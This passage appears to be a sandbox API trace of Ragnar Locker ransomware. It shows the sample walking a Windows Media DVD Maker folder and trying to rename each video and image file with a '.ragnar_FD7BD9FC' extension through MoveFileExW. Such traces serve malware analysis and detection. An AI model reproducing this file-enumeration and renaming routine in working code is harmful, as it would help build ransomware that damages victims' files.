ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0079.295] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.295] lstrcpyW (in: lpString1=0x1eab56, lpString2="SportsMainToNotesBackground.wmv" | out: lpString1="SportsMainToNotesBackground.wmv") returned="SportsMainToNotesBackground.wmv" [0079.295] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned=".wmv" [0079.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.295] CloseHandle (hObject=0xffffffff) returned 0 [0079.295] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" [0079.295] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.ragnar_FD7BD9FC" [0079.295] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.296] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0079.296] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.296] lstrcpyW (in: lpString1=0x1eab56, lpString2="SportsMainToNotesBackground_PAL.wmv" | out: lpString1="SportsMainToNotesBackground_PAL.wmv") returned="SportsMainToNotesBackground_PAL.wmv" [0079.296] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned=".wmv" [0079.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.297] CloseHandle (hObject=0xffffffff) returned 0 [0079.297] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" [0079.297] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.ragnar_FD7BD9FC" [0079.297] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.297] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0079.297] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.297] lstrcpyW (in: lpString1=0x1eab56, lpString2="SportsMainToScenesBackground.wmv" | out: lpString1="SportsMainToScenesBackground.wmv") returned="SportsMainToScenesBackground.wmv" [0079.297] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned=".wmv" [0079.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.297] CloseHandle (hObject=0xffffffff) returned 0 [0079.297] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" [0079.297] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.ragnar_FD7BD9FC" [0079.297] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.297] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0079.297] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.297] lstrcpyW (in: lpString1=0x1eab56, lpString2="SportsMainToScenesBackground_PAL.wmv" | out: lpString1="SportsMainToScenesBackground_PAL.wmv") returned="SportsMainToScenesBackground_PAL.wmv" [0079.298] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned=".wmv" [0079.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.298] CloseHandle (hObject=0xffffffff) returned 0 [0079.298] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" [0079.298] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.ragnar_FD7BD9FC" [0079.298] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.298] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0079.298] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.298] lstrcpyW (in: lpString1=0x1eab56, lpString2="SportsNotesBackground.wmv" | out: lpString1="SportsNotesBackground.wmv") returned="SportsNotesBackground.wmv" [0079.298] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned=".wmv" [0079.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.298] CloseHandle (hObject=0xffffffff) returned 0 [0079.298] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" [0079.299] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.ragnar_FD7BD9FC" [0079.299] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.299] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0079.299] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.299] lstrcpyW (in: lpString1=0x1eab56, lpString2="SportsNotesBackground_PAL.wmv" | out: lpString1="SportsNotesBackground_PAL.wmv") returned="SportsNotesBackground_PAL.wmv" [0079.299] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned=".wmv" [0079.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.300] CloseHandle (hObject=0xffffffff) returned 0 [0079.300] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" [0079.300] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.ragnar_FD7BD9FC" [0079.300] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.300] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0079.300] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.300] lstrcpyW (in: lpString1=0x1eab56, lpString2="SportsScenesBackground.wmv" | out: lpString1="SportsScenesBackground.wmv") returned="SportsScenesBackground.wmv" [0079.300] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned=".wmv" [0079.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.300] CloseHandle (hObject=0xffffffff) returned 0 [0079.300] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" [0079.300] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.ragnar_FD7BD9FC" [0079.300] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.301] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0079.301] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.301] lstrcpyW (in: lpString1=0x1eab56, lpString2="SportsScenesBackground_PAL.wmv" | out: lpString1="SportsScenesBackground_PAL.wmv") returned="SportsScenesBackground_PAL.wmv" [0079.301] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned=".wmv" [0079.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.301] CloseHandle (hObject=0xffffffff) returned 0 [0079.301] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" [0079.301] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.ragnar_FD7BD9FC" [0079.301] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.301] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0079.301] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.301] lstrcpyW (in: lpString1=0x1eab56, lpString2="sports_disc_mask.png" | out: lpString1="sports_disc_mask.png") returned="sports_disc_mask.png" [0079.301] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png") returned=".png" [0079.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.301] CloseHandle (hObject=0xffffffff) returned 0 [0079.302] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD 